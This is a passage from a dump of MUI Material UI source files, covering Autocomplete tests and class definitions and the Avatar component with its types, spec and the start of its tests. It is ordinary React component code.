screen.getByRole('combobox');\n      fireEvent.keyDown(textbox, { key: 'ArrowDown' }); // open listbox\n\n      expect(root).to.have.class(classes.expanded);\n    });\n\n    it('when listbox having no options is opened', () => {\n      const view = render(\n        <Autocomplete options={[]} renderInput={(params) => <TextField {...params} autoFocus />} />,\n      );\n\n      const root = view.container.querySelector(`.${classes.root}`);\n\n      expect(root).not.to.have.class(classes.expanded);\n\n      const textbox = screen.getByRole('combobox');\n      fireEvent.keyDown(textbox, { key: 'ArrowDown' }); // open listbox\n\n      expect(root).to.have.class(classes.expanded);\n    });\n  });\n\n  describe('prop: renderOption', () => {\n    it('should pass getOptionLabel through ownerState in renderOption callback', () => {\n      render(\n        <Autocomplete\n          open\n          options={[{ name: 'Max' }]}\n          getOptionLabel={(option) => option.name}\n          renderInput={(params) => <TextField {...params} autoFocus />}\n          renderOption={(props, option, optionState, ownerState) => (\n            <li key={option.name} data-testid=\"optionLi\">\n              {ownerState.getOptionLabel(option)}\n            </li>\n          )}\n        />,\n      );\n\n      const renderedOption = screen.getByTestId('optionLi');\n      expect(renderedOption).to.have.text('Max');\n    });\n\n    // https://github.com/mui/material-ui/issues/38048\n    it('should pass getOptionLabel default value through ownerState when no custom getOptionLabel prop provided', () => {\n      render(\n        <Autocomplete\n          open\n          options={[{ label: 'Max' }]}\n          renderInput={(params) => <TextField {...params} autoFocus />}\n          renderOption={(props, option, optionState, ownerState) => (\n            <li key={option.label} data-testid=\"optionLi\">\n              {ownerState.getOptionLabel(option)}\n            </li>\n          )}\n        />,\n      );\n\n      const renderedOption = screen.getByTestId('optionLi');\n      expect(renderedOption).to.have.text('Max');\n    });\n  });\n\n  // https://github.com/mui/material-ui/issues/36212\n  it.skipIf(isJsdom())(\n    'should preserve scrollTop position of the listbox when adding new options on mobile',\n    function test() {\n      function getOptions(count) {\n        return Array(count)\n          .fill('item')\n          .map((value, i) => value + i);\n      }\n\n      const view = render(\n        <Autocomplete\n          open\n          options={getOptions(5)}\n          renderInput={(params) => <TextField {...params} />}\n          slotProps={{ listbox: { style: { maxHeight: '100px' } } }}\n        />,\n      );\n      const listbox = screen.getByRole('listbox');\n\n      expect(listbox).to.have.property('scrollTop', 0);\n\n      const options = screen.getAllByRole('option');\n      fireEvent.touchStart(options[1]);\n      act(() => {\n        listbox.scrollBy(0, 60);\n        view.setProps({ options: getOptions(10) });\n      });\n\n      expect(listbox).to.have.property('scrollTop', 60);\n    },\n  );\n\n  describe('prop: renderValue (single selection)', () => {\n    it('should render only a single value, given that options are primitive values', () => {\n      const view = render(\n        <Autocomplete\n          options={['one', 'two']}\n          renderValue={(value, getItemProps) => {\n            return <Chip label={value} {...getItemProps()} />;\n          }}\n          renderInput={(params) => <TextField {...params} autoFocus />}\n        />,\n      );\n\n      const textbox = screen.getByRole('combobox');\n\n      fireEvent.keyDown(textbox, { key: 'ArrowDown' });\n      fireEvent.keyDown(textbox, { key: 'ArrowDown' }); // highlight the first option...\n      fireEvent.keyDown(textbox, { key: 'Enter' }); // ...and select it\n\n      expect(view.container.querySelectorAll(`.${chipClasses.root}`)).to.have.length(1);\n\n      fireEvent.keyDown(textbox, { key: 'ArrowDown' });\n      fireEvent.keyDown(textbox, { key: 'ArrowDown' }); // highlight the second option...\n      fireEvent.keyDown(textbox, { key: 'Enter' }); // ...and select it\n\n      expect(view.container.querySelectorAll(`.${chipClasses.root}`)).to.have.length(1);\n    });\n\n    it('should render only a single value, given that options as objects', () => {\n      const view = render(\n        <Autocomplete\n          options={[\n            { title: 'The Shawshank Redemption', year: 1994 },\n            { title: 'The Godfather', year: 1972 },\n          ]}\n          getOptionLabel={(option) => option.title}\n          renderValue={(value, getItemProps) => {\n            return <Chip label={value.title} {...getItemProps()} />;\n          }}\n          renderInput={(params) => <TextField {...params} autoFocus />}\n        />,\n      );\n\n      const textbox = screen.getByRole('combobox');\n\n      fireEvent.keyDown(textbox, { key: 'ArrowDown' });\n      fireEvent.keyDown(textbox, { key: 'ArrowDown' }); // highlight the first option...\n      fireEvent.keyDown(textbox, { key: 'Enter' }); // ...and select it\n\n      expect(view.container.querySelectorAll(`.${chipClasses.root}`)).to.have.length(1);\n\n      fireEvent.keyDown(textbox, { key: 'ArrowDown' });\n      fireEvent.keyDown(textbox, { key: 'ArrowDown' }); // highlight the second option...\n      fireEvent.keyDown(textbox, { key: 'Enter' }); // ...and select it\n\n      expect(view.container.querySelectorAll(`.${chipClasses.root}`)).to.have.length(1);\n    });\n\n    it('should delete using Backspace key with empty input text', () => {\n      const handleChange = spy();\n      const view = render(\n        <Autocomplete\n          options={['one', 'two']}\n          defaultValue=\"one\"\n          onChange={handleChange}\n          renderValue={(value, getItemProps) => {\n            return <Chip label={value} {...getItemProps()} />;\n          }}\n          renderInput={(params) => <TextField {...params} autoFocus />}\n        />,\n      );\n\n      const textbox = screen.getByRole('combobox');\n\n      expect(view.container.querySelectorAll(`.${chipClasses.root}`)).to.have.length(1);\n\n      fireEvent.keyDown(textbox, { key: 'Backspace' });\n\n      expect(handleChange.callCount).to.equal(1);\n      expect(handleChange.args[0][1]).to.equal(null);\n      expect(handleChange.args[0][2]).to.equal('removeOption');\n      expect(handleChange.args[0][3]).to.deep.equal({ option: 'one' });\n\n      expect(view.container.querySelectorAll(`.${chipClasses.root}`)).to.have.length(0);\n    });\n\n    it('should delete using Delete key with empty input text', () => {\n      const handleChange = spy();\n      const view = render(\n        <Autocomplete\n          options={['one', 'two']}\n          defaultValue=\"one\"\n          onChange={handleChange}\n          renderValue={(value, getItemProps) => {\n            return <Chip label={value} {...getItemProps()} />;\n          }}\n          renderInput={(params) => <TextField {...params} autoFocus />}\n        />,\n      );\n\n      const textbox = screen.getByRole('combobox');\n\n      expect(view.container.querySelectorAll(`.${chipClasses.root}`)).to.have.length(1);\n\n      fireEvent.keyDown(textbox, { key: 'Delete' });\n\n      expect(handleChange.callCount).to.equal(1);\n      expect(handleChange.args[0][1]).to.equal(null);\n      expect(handleChange.args[0][2]).to.equal('removeOption');\n      expect(handleChange.args[0][3]).to.deep.equal({ option: 'one' });\n\n      expect(view.container.querySelectorAll(`.${chipClasses.root}`)).to.have.length(0);\n    });\n\n    it('navigates between the tag and input', () => {\n      const view = render(\n        <Autocomplete\n          defaultValue=\"two\"\n          options={['one', 'two']}\n          renderInput={(params) => <TextField {...params} autoFocus />}\n          renderValue={(value, getItemProps) => {\n            return <Chip label={value} {...getItemProps()} />;\n          }}\n        />,\n      );\n\n      const textbox = screen.getByRole('combobox');\n      const chip = view.container.querySelector(`.${chipClasses.root}`);\n\n      fireEvent.keyDown(textbox, { key: 'ArrowLeft' });\n\n      expect(chip).toHaveFocus();\n\n      fireEvent.keyDown(chip, { key: 'ArrowRight' });\n\n      expect(textbox).toHaveFocus();\n    });\n\n    // https://github.com/mui/material-ui/issues/47244\n    it('should show input caret when focusing input after chip navigation', () => {\n      const view = render(\n        <Autocomplete\n          defaultValue=\"two\"\n          options={['one', 'two']}\n          renderInput={(params) => <TextField {...params} autoFocus />}\n          renderValue={(value, getItemProps) => {\n            return <Chip label={value} {...getItemProps()} />;\n          }}\n        />,\n      );\n\n      const textbox = screen.getByRole('combobox');\n      const chip = view.container.querySelector(`.${chipClasses.root}`);\n\n      fireEvent.keyDown(textbox, { key: 'ArrowLeft' });\n      expect(chip).toHaveFocus();\n\n      fireEvent.click(textbox);\n\n      expect(textbox).toHaveFocus();\n      expect(chip).not.toHaveFocus();\n      expect(textbox).toHaveComputedStyle({ opacity: '1' });\n    });\n\n    it('should allow zero number (0) as a value to render', () => {\n      const view = render(\n        <Autocomplete\n          defaultValue={0}\n          options={[0, 1, 2]}\n          getOptionLabel={(option) => option.toString()}\n          renderInput={(params) => <TextField {...params} autoFocus />}\n          renderValue={(value, getItemProps) => {\n            return <Chip label={value} {...getItemProps()} />;\n          }}\n        />,\n      );\n\n      expect(view.container.querySelector(`.${chipClasses.root}`)).to.have.text('0');\n    });\n\n    it('should not throw error on pressing ArrowLeft key with no value in single value rendering', () => {\n      render(\n        <Autocomplete\n          options={['one', 'two', 'three']}\n          renderValue={(value, getItemProps) => {\n            return value ? <Chip label={value} {...getItemProps()} /> : null;\n          }}\n          renderInput={(params) => <TextField {...params} autoFocus />}\n        />,\n      );\n\n      const textbox = screen.getByRole('combobox');\n\n      expect(() => {\n        fireEvent.keyDown(textbox, { key: 'ArrowLeft' });\n      }).not.to.throw();\n\n      expect(textbox).toHaveFocus();\n    });\n\n    it('should not throw error on pressing ArrowLeft key with input text but no value in single value rendering', () => {\n      render(\n        <Autocomplete\n          options={['one', 'two', 'three']}\n          renderValue={(value, getItemProps) => {\n            return value ? <Chip label={value} {...getItemProps()} /> : null;\n          }}\n          renderInput={(params) => <TextField {...params} autoFocus />}\n        />,\n      );\n\n      const textbox = screen.getByRole('combobox');\n\n      fireEvent.change(textbox, { target: { value: 'on' } });\n\n      expect(() => {\n        fireEvent.keyDown(textbox, { key: 'ArrowLeft' });\n      }).not.to.throw();\n\n      expect(textbox).to.have.property('value', 'on');\n      expect(textbox).toHaveFocus();\n    });\n\n    it('should move focus to the rendered value with ArrowLeft only when caret is at the start', () => {\n      const options = ['one', 'two'];\n      const view = render(\n        <Autocomplete\n          options={options}\n          defaultValue={options[0]}\n          renderValue={(value, getItemProps) => <Chip label={value} {...getItemProps()} />}\n          renderInput={(params) => <TextField {...params} autoFocus />}\n        />,\n      );\n\n      const textbox = screen.getByRole('combobox');\n      const chip = view.container.querySelector(`.${chipClasses.root}`);\n\n      // Type something so the input has content.\n      fireEvent.change(textbox, { target: { value: 'foo' } });\n\n      // Caret not at start: ArrowLeft should just move the caret, not focus the chip.\n      textbox.setSelectionRange(2, 2);\n      fireEvent.keyDown(textbox, { key: 'ArrowLeft' });\n      expect(textbox).toHaveFocus();\n\n      // Caret at start: ArrowLeft should now move focus to the rendered value.\n      textbox.setSelectionRange(0, 0);\n      fireEvent.keyDown(textbox, { key: 'ArrowLeft' });\n      expect(chip).toHaveFocus();\n    });\n\n    it('should clear freeSolo input when moving focus to the rendered value with ArrowLeft and not restore it on ArrowRight', () => {\n      const options = ['one', 'two'];\n      render(\n        <Autocomplete\n          freeSolo\n          options={options}\n          defaultValue={options[0]}\n          renderValue={(value, getItemProps) => <Chip label={value} {...getItemProps()} />}\n          renderInput={(params) => <TextField {...params} autoFocus />}\n        />,\n      );\n\n      const textbox = screen.getByRole('combobox');\n      const chip = screen.getByRole('button', { name: 'one' });\n\n      // Type some freeSolo text\n      fireEvent.change(textbox, { target: { value: 'foo' } });\n      expect(textbox).to.have.property('value', 'foo');\n\n      // Caret at start: ArrowLeft should move focus to the rendered value\n      textbox.setSelectionRange(0, 0);\n      fireEvent.keyDown(textbox, { key: 'ArrowLeft' });\n      expect(chip).toHaveFocus();\n\n      // Input text should be cleared\n      expect(textbox).to.have.property('value', '');\n\n      // ArrowRight should move focus back to input without restoring text\n      fireEvent.keyDown(chip, { key: 'ArrowRight' });\n      expect(textbox).toHaveFocus();\n      expect(textbox).to.have.property('value', '');\n    });\n  });\n\n  it('should not shrink the input label when value is an empty array in multiple mode using renderValue', () => {\n    render(\n      <Autocomplete\n        multiple\n        value={[]}\n        options={['one', 'two', 'three']}\n        renderValue={(values, getItemProps) =>\n          values.map((option, index) => {\n            const { key, ...itemProps } = getItemProps({ index });\n            return <Chip key={key} label={option.title} {...itemProps} />;\n          })\n        }\n        renderInput={(params) => (\n          <TextField\n            {...params}\n            label=\"Fixed tag\"\n            slotProps={{\n              ...params.slotProps,\n              inputLabel: { ...params.slotProps.inputLabel, 'data-testid': 'label' },\n            }}\n          />\n        )}\n      />,\n    );\n\n    expect(screen.getByTestId('label')).to.have.attribute('data-shrink', 'false');\n  });\n\n  // https://github.com/mui/material-ui/issues/47203\n  it.skipIf(isJsdom())(\n    'should not scroll the listbox to the top when listbox is scrolled down and one of the end option is clicked',\n    () => {\n      render(\n        <Autocomplete\n          multiple\n          disableCloseOnSelect\n          options={['one', 'two', 'three', 'four', 'five']}\n          renderInput={(params) => <TextField {...params} />}\n          slotProps={{ listbox: { style: { padding: 0, maxHeight: '100px' } } }}\n        />,\n      );\n      const textbox = screen.getByRole('combobox');\n\n      // open listbox\n      fireEvent.mouseDown(textbox);\n\n      // close listbox\n      fireEvent.mouseDown(textbox);\n\n      // re-open listbox\n      fireEvent.mouseDown(textbox);\n\n      const listbox = screen.getByRole('listbox');\n      const options = screen.getAllByRole('option');\n\n      listbox.scrollBy(0, 180);\n\n      fireEvent.click(options[4]);\n\n      expect(listbox).not.to.have.property('scrollTop', 0);\n    },\n  );\n});\n"
  },
  {
    "path": "packages/mui-material/src/Autocomplete/autocompleteClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface AutocompleteClasses {\n  /** Styles applied to the root element. */\n  root: string;\n  /** Styles applied to the root element if `fullWidth={true}`. */\n  fullWidth: string;\n  /** State class applied to the root element if the listbox is displayed. */\n  expanded: string;\n  /** State class applied to the root element if focused. */\n  focused: string;\n  /** Styles applied to the option elements if they are keyboard focused. */\n  focusVisible: string;\n  /** Styles applied to the tag elements, for example the chips. */\n  tag: string;\n  /** Styles applied to the tag elements, for example the chips if `size=\"small\"`. */\n  tagSizeSmall: string;\n  /** Styles applied to the tag elements, for example the chips if `size=\"medium\"`. */\n  tagSizeMedium: string;\n  /** Styles applied when the popup icon is rendered. */\n  hasPopupIcon: string;\n  /** Styles applied when the clear icon is rendered. */\n  hasClearIcon: string;\n  /** Styles applied to the Input element. */\n  inputRoot: string;\n  /** Styles applied to the input element. */\n  input: string;\n  /** Styles applied to the input element if the input is focused. */\n  inputFocused: string;\n  /** Styles applied to the endAdornment element. */\n  endAdornment: string;\n  /** Styles applied to the clear indicator. */\n  clearIndicator: string;\n  /** Styles applied to the popup indicator. */\n  popupIndicator: string;\n  /** Styles applied to the popup indicator if the popup is open. */\n  popupIndicatorOpen: string;\n  /** Styles applied to the popper element. */\n  popper: string;\n  /** Styles applied to the popper element if `disablePortal={true}`. */\n  popperDisablePortal: string;\n  /** Styles applied to the Paper component. */\n  paper: string;\n  /** Styles applied to the listbox component. */\n  listbox: string;\n  /** Styles applied to the loading wrapper. */\n  loading: string;\n  /** Styles applied to the no option wrapper. */\n  noOptions: string;\n  /** Styles applied to the option elements. */\n  option: string;\n  /** Styles applied to the group's label elements. */\n  groupLabel: string;\n  /** Styles applied to the group's ul elements. */\n  groupUl: string;\n}\n\nexport type AutocompleteClassKey = keyof AutocompleteClasses;\n\nexport function getAutocompleteUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiAutocomplete', slot);\n}\n\nconst autocompleteClasses: AutocompleteClasses = generateUtilityClasses('MuiAutocomplete', [\n  'root',\n  'expanded',\n  'fullWidth',\n  'focused',\n  'focusVisible',\n  'tag',\n  'tagSizeSmall',\n  'tagSizeMedium',\n  'hasPopupIcon',\n  'hasClearIcon',\n  'inputRoot',\n  'input',\n  'inputFocused',\n  'endAdornment',\n  'clearIndicator',\n  'popupIndicator',\n  'popupIndicatorOpen',\n  'popper',\n  'popperDisablePortal',\n  'paper',\n  'listbox',\n  'loading',\n  'noOptions',\n  'option',\n  'groupLabel',\n  'groupUl',\n]);\n\nexport default autocompleteClasses;\n"
  },
  {
    "path": "packages/mui-material/src/Autocomplete/index.d.ts",
    "content": "export { default } from './Autocomplete';\nexport * from './Autocomplete';\n\nexport { default as autocompleteClasses } from './autocompleteClasses';\nexport * from './autocompleteClasses';\n"
  },
  {
    "path": "packages/mui-material/src/Autocomplete/index.js",
    "content": "export { default, createFilterOptions } from './Autocomplete';\n\nexport { default as autocompleteClasses } from './autocompleteClasses';\nexport * from './autocompleteClasses';\n"
  },
  {
    "path": "packages/mui-material/src/Avatar/Avatar.d.ts",
    "content": "import * as React from 'react';\nimport { SxProps } from '@mui/system';\nimport { OverridableStringUnion } from '@mui/types';\nimport { Theme } from '../styles';\nimport { OverridableComponent, OverrideProps } from '../OverridableComponent';\nimport { AvatarClasses } from './avatarClasses';\nimport { CreateSlotsAndSlotProps, SlotProps } from '../utils/types';\nimport { SvgIconProps } from '../SvgIcon';\n\nexport interface AvatarSlots {\n  /**\n   * The component that renders the root slot.\n   * @default 'div'\n   */\n  root: React.ElementType;\n  /**\n   * The component that renders the img slot.\n   * @default 'img'\n   */\n  img: React.ElementType;\n  /**\n   * The component that renders the fallback slot.\n   * @default Person icon\n   */\n  fallback: React.ElementType;\n}\n\nexport interface AvatarPropsVariantOverrides {}\n\nexport interface AvatarRootSlotPropsOverrides {}\nexport interface AvatarImgSlotPropsOverrides {}\nexport interface AvatarFallbackSlotPropsOverrides {}\n\nexport type AvatarSlotsAndSlotProps = CreateSlotsAndSlotProps<\n  AvatarSlots,\n  {\n    /**\n     * Props forwarded to the root slot.\n     * By default, the available props are based on the div element.\n     */\n    root: SlotProps<'div', AvatarRootSlotPropsOverrides, AvatarOwnProps>;\n    /**\n     * Props forwarded to the img slot.\n     * By default, the available props are based on the img element.\n     */\n    img: SlotProps<'img', AvatarImgSlotPropsOverrides, AvatarOwnProps>;\n    /**\n     * Props forwarded to the fallback slot.\n     * By default, the available props are based on the [SvgIcon](https://mui.com/material-ui/api/svg-icon/#props) component.\n     */\n    fallback: SlotProps<\n      React.ElementType<SvgIconProps>,\n      AvatarFallbackSlotPropsOverrides,\n      AvatarOwnProps\n    >;\n  }\n>;\n\nexport interface AvatarOwnProps {\n  /**\n   * Used in combination with `src` or `srcSet` to\n   * provide an alt attribute for the rendered `img` element.\n   */\n  alt?: string | undefined;\n  /**\n   * Used to render icon or text elements inside the Avatar if `src` is not set.\n   * This can be an element, or just a string.\n   */\n  children?: React.ReactNode;\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<AvatarClasses> | undefined;\n  /**\n   * The `sizes` attribute for the `img` element.\n   */\n  sizes?: string | undefined;\n  /**\n   * The `src` attribute for the `img` element.\n   */\n  src?: string | undefined;\n  /**\n   * The `srcSet` attribute for the `img` element.\n   * Use this attribute for responsive image display.\n   */\n  srcSet?: string | undefined;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n  /**\n   * The shape of the avatar.\n   * @default 'circular'\n   */\n  variant?:\n    | OverridableStringUnion<'circular' | 'rounded' | 'square', AvatarPropsVariantOverrides>\n    | undefined;\n}\n\nexport interface AvatarTypeMap<\n  AdditionalProps = {},\n  RootComponent extends React.ElementType = 'div',\n> {\n  props: AdditionalProps & AvatarOwnProps & AvatarSlotsAndSlotProps;\n  defaultComponent: RootComponent;\n}\n\n/**\n *\n * Demos:\n *\n * - [Avatar](https://next.mui.com/material-ui/react-avatar/)\n *\n * API:\n *\n * - [Avatar API](https://next.mui.com/material-ui/api/avatar/)\n */\ndeclare const Avatar: OverridableComponent<AvatarTypeMap>;\n\nexport type AvatarProps<\n  RootComponent extends React.ElementType = AvatarTypeMap['defaultComponent'],\n  AdditionalProps = {},\n> = OverrideProps<AvatarTypeMap<AdditionalProps, RootComponent>, RootComponent> & {\n  component?: React.ElementType | undefined;\n};\n\nexport default Avatar;\n"
  },
  {
    "path": "packages/mui-material/src/Avatar/Avatar.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport composeClasses from '@mui/utils/composeClasses';\nimport { styled } from '../zero-styled';\nimport memoTheme from '../utils/memoTheme';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport Person from '../internal/svg-icons/Person';\nimport { getAvatarUtilityClass } from './avatarClasses';\nimport useSlot from '../utils/useSlot';\n\nconst useUtilityClasses = (ownerState) => {\n  const { classes, variant, colorDefault } = ownerState;\n\n  const slots = {\n    root: ['root', variant, colorDefault && 'colorDefault'],\n    img: ['img'],\n    fallback: ['fallback'],\n  };\n\n  return composeClasses(slots, getAvatarUtilityClass, classes);\n};\n\nconst AvatarRoot = styled('div', {\n  name: 'MuiAvatar',\n  slot: 'Root',\n  overridesResolver: (props, styles) => {\n    const { ownerState } = props;\n\n    return [\n      styles.root,\n      styles[ownerState.variant],\n      ownerState.colorDefault && styles.colorDefault,\n    ];\n  },\n})(\n  memoTheme(({ theme }) => ({\n    position: 'relative',\n    display: 'flex',\n    alignItems: 'center',\n    justifyContent: 'center',\n    flexShrink: 0,\n    width: 40,\n    height: 40,\n    fontFamily: theme.typography.fontFamily,\n    fontSize: theme.typography.pxToRem(20),\n    lineHeight: 1,\n    borderRadius: '50%',\n    overflow: 'hidden',\n    userSelect: 'none',\n    variants: [\n      {\n        props: { variant: 'rounded' },\n        style: {\n          borderRadius: (theme.vars || theme).shape.borderRadius,\n        },\n      },\n      {\n        props: { variant: 'square' },\n        style: {\n          borderRadius: 0,\n        },\n      },\n      {\n        props: { colorDefault: true },\n        style: {\n          color: (theme.vars || theme).palette.background.default,\n          ...(theme.vars\n            ? {\n                backgroundColor: theme.vars.palette.Avatar.defaultBg,\n              }\n            : {\n                backgroundColor: theme.palette.grey[400],\n                ...theme.applyStyles('dark', { backgroundColor: theme.palette.grey[600] }),\n              }),\n        },\n      },\n    ],\n  })),\n);\n\nconst AvatarImg = styled('img', {\n  name: 'MuiAvatar',\n  slot: 'Img',\n})({\n  width: '100%',\n  height: '100%',\n  textAlign: 'center',\n  // Handle non-square image.\n  objectFit: 'cover',\n  // Hide alt text.\n  color: 'transparent',\n  // Hide the image broken icon, only works on Chrome.\n  textIndent: 10000,\n});\n\nconst AvatarFallback = styled(Person, {\n  name: 'MuiAvatar',\n  slot: 'Fallback',\n})({\n  width: '75%',\n  height: '75%',\n});\n\nfunction useLoaded(src, srcSet, crossOrigin, referrerPolicy) {\n  const [loaded, setLoaded] = React.useState(false);\n\n  React.useEffect(() => {\n    if (!src && !srcSet) {\n      return undefined;\n    }\n\n    setLoaded(false);\n\n    let active = true;\n    const image = new Image();\n    image.onload = () => {\n      if (!active) {\n        return;\n      }\n      setLoaded('loaded');\n    };\n    image.onerror = () => {\n      if (!active) {\n        return;\n      }\n      setLoaded('error');\n    };\n    image.crossOrigin = crossOrigin;\n    image.referrerPolicy = referrerPolicy;\n    image.src = src;\n    if (srcSet) {\n      image.srcset = srcSet;\n    }\n\n    return () => {\n      active = false;\n    };\n  }, [crossOrigin, referrerPolicy, src, srcSet]);\n\n  return loaded;\n}\n\nconst Avatar = React.forwardRef(function Avatar(inProps, ref) {\n  const props = useDefaultProps({ props: inProps, name: 'MuiAvatar' });\n  const {\n    alt,\n    children: childrenProp,\n    className,\n    component = 'div',\n    slots = {},\n    slotProps = {},\n    sizes,\n    src,\n    srcSet,\n    variant = 'circular',\n    ...other\n  } = props;\n\n  let children = null;\n\n  const ownerState = {\n    ...props,\n    component,\n    variant,\n  };\n\n  const { crossOrigin, referrerPolicy } =\n    (typeof slotProps.img === 'function' ? slotProps.img(ownerState) : slotProps.img) ?? {};\n  // Use a hook instead of onError on the img element to support server-side rendering.\n  const loaded = useLoaded(src, srcSet, crossOrigin, referrerPolicy);\n  const hasImg = src || srcSet;\n  const hasImgNotFailing = hasImg && loaded !== 'error';\n\n  ownerState.colorDefault = !hasImgNotFailing;\n  // This issue explains why this is required: https://github.com/mui/material-ui/issues/42184\n  delete ownerState.ownerState;\n\n  const classes = useUtilityClasses(ownerState);\n\n  const externalForwardedProps = {\n    slots,\n    slotProps,\n  };\n\n  const [RootSlot, rootSlotProps] = useSlot('root', {\n    ref,\n    className: clsx(classes.root, className),\n    elementType: AvatarRoot,\n    externalForwardedProps: {\n      ...externalForwardedProps,\n      component,\n      ...other,\n    },\n    ownerState,\n  });\n\n  const [ImgSlot, imgSlotProps] = useSlot('img', {\n    className: classes.img,\n    elementType: AvatarImg,\n    externalForwardedProps,\n    additionalProps: { alt, src, srcSet, sizes },\n    ownerState,\n  });\n\n  const [FallbackSlot, fallbackSlotProps] = useSlot('fallback', {\n    className: classes.fallback,\n    elementType: AvatarFallback,\n    externalForwardedProps,\n    shouldForwardComponentProp: true,\n    ownerState,\n  });\n\n  if (hasImgNotFailing) {\n    children = <ImgSlot {...imgSlotProps} />;\n    // We only render valid children, non valid children are rendered with a fallback\n    // We consider that invalid children are all falsy values, except 0, which is valid.\n  } else if (!!childrenProp || childrenProp === 0) {\n    children = childrenProp;\n  } else if (hasImg && alt) {\n    children = alt[0];\n  } else {\n    children = <FallbackSlot {...fallbackSlotProps} />;\n  }\n\n  return <RootSlot {...rootSlotProps}>{children}</RootSlot>;\n});\n\nAvatar.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * Used in combination with `src` or `srcSet` to\n   * provide an alt attribute for the rendered `img` element.\n   */\n  alt: PropTypes.string,\n  /**\n   * Used to render icon or text elements inside the Avatar if `src` is not set.\n   * This can be an element, or just a string.\n   */\n  children: PropTypes.node,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * The component used for the root node.\n   * Either a string to use a HTML element or a component.\n   */\n  component: PropTypes.elementType,\n  /**\n   * The `sizes` attribute for the `img` element.\n   */\n  sizes: PropTypes.string,\n  /**\n   * The props used for each slot inside.\n   * @default {}\n   */\n  slotProps: PropTypes.shape({\n    fallback: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n    img: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n    root: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n  }),\n  /**\n   * The components used for each slot inside.\n   * @default {}\n   */\n  slots: PropTypes.shape({\n    fallback: PropTypes.elementType,\n    img: PropTypes.elementType,\n    root: PropTypes.elementType,\n  }),\n  /**\n   * The `src` attribute for the `img` element.\n   */\n  src: PropTypes.string,\n  /**\n   * The `srcSet` attribute for the `img` element.\n   * Use this attribute for responsive image display.\n   */\n  srcSet: PropTypes.string,\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n  /**\n   * The shape of the avatar.\n   * @default 'circular'\n   */\n  variant: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    PropTypes.oneOf(['circular', 'rounded', 'square']),\n    PropTypes.string,\n  ]),\n};\n\nexport default Avatar;\n"
  },
  {
    "path": "packages/mui-material/src/Avatar/Avatar.spec.tsx",
    "content": "import * as React from 'react';\nimport Avatar from '@mui/material/Avatar';\n\nfunction SlotPropsImgShouldSupportSx() {\n  <Avatar slotProps={{ img: { sx: { objectFit: 'contain' } } }} />;\n}\n\nfunction CustomImg() {\n  return <img alt=\"\" />;\n}\n<Avatar slotProps={{ img: { alt: '' } }} />;\n<Avatar slots={{ img: CustomImg }} />;\n\n// Next.js Image component\ninterface StaticImageData {\n  src: string;\n  height: number;\n  width: number;\n  blurDataURL?: string;\n  blurWidth?: number;\n  blurHeight?: number;\n}\ninterface StaticRequire {\n  default: StaticImageData;\n}\ntype StaticImport = StaticRequire | StaticImageData;\n\ntype ImageLoaderProps = {\n  src: string;\n  width: number;\n  quality?: number;\n};\n\ntype ImageLoader = (p: ImageLoaderProps) => string;\n\ntype PlaceholderValue = 'blur' | 'empty' | `data:image/${string}`;\n\ntype OnLoadingComplete = (img: HTMLImageElement) => void;\n\ndeclare const Image: React.ForwardRefExoticComponent<\n  Omit<\n    React.DetailedHTMLProps<React.ImgHTMLAttributes<HTMLImageElement>, HTMLImageElement>,\n    'height' | 'width' | 'loading' | 'ref' | 'alt' | 'src' | 'srcSet'\n  > & {\n    src: string | StaticImport;\n    alt: string;\n    width?: number | `${number}`;\n    height?: number | `${number}`;\n    fill?: boolean;\n    loader?: ImageLoader;\n    quality?: number | `${number}`;\n    priority?: boolean;\n    loading?: 'eager' | 'lazy' | undefined;\n    placeholder?: PlaceholderValue;\n    blurDataURL?: string;\n    unoptimized?: boolean;\n    overrideSrc?: string;\n    onLoadingComplete?: OnLoadingComplete;\n    layout?: string;\n    objectFit?: string;\n    objectPosition?: string;\n    lazyBoundary?: string;\n    lazyRoot?: string;\n  } & React.RefAttributes<HTMLImageElement | null>\n>;\n\n<Avatar slots={{ img: Image }} />;\n"
  },
  {
    "path": "packages/mui-material/src/Avatar/Avatar.test.js",
    "content": "import { expect } from 'chai';\nimport { createRenderer, fireEvent } from '@mui/internal-test-utils';\nimport { spy } from 'sinon';\nimport Avatar, { avatarClasses as classes } from '@mui/material/Avatar';\nimport { createTheme, ThemeProvider } from '@mui/material/styles';\nimport CancelIcon from '../internal/svg-icons/Cancel';\nimport describeConformance from '../../test/describeConformance';\n\ndescribe('<Avatar />', () => {\n  const { render } = createRenderer();\n\n  describeConformance(<Avatar />, () => ({\n    classes,\n    inheritComponent: 'div',\n    render,\n    refInstanceof: window.HTMLDivElement,\n    testComponentPropWith: 'span',\n    muiName: 'MuiAvatar',\n    testDeepOverrides: { slotName: 'fallback', slotClassName: classes.fallback },\n    testVariantProps: { variant: 'foo' },\n    testStateOverrides: { prop: 'variant', value: 'rounded', styleKey: 'rounded' },\n    slots: {\n      root: {\n        expectedClassName: classes.root,\n      },\n      fallback: {\n        expectedClassName: classes.fallback,\n      },\n    },\n  }));\n\n  // img slot only renders when src is provided\n  describeConformance(<Avatar src=\"/fake.png\" />, () => ({\n    classes,\n    render,\n    refInstanceof: window.HTMLDivElement,\n    muiName: 'MuiAvatar',\n    slots: 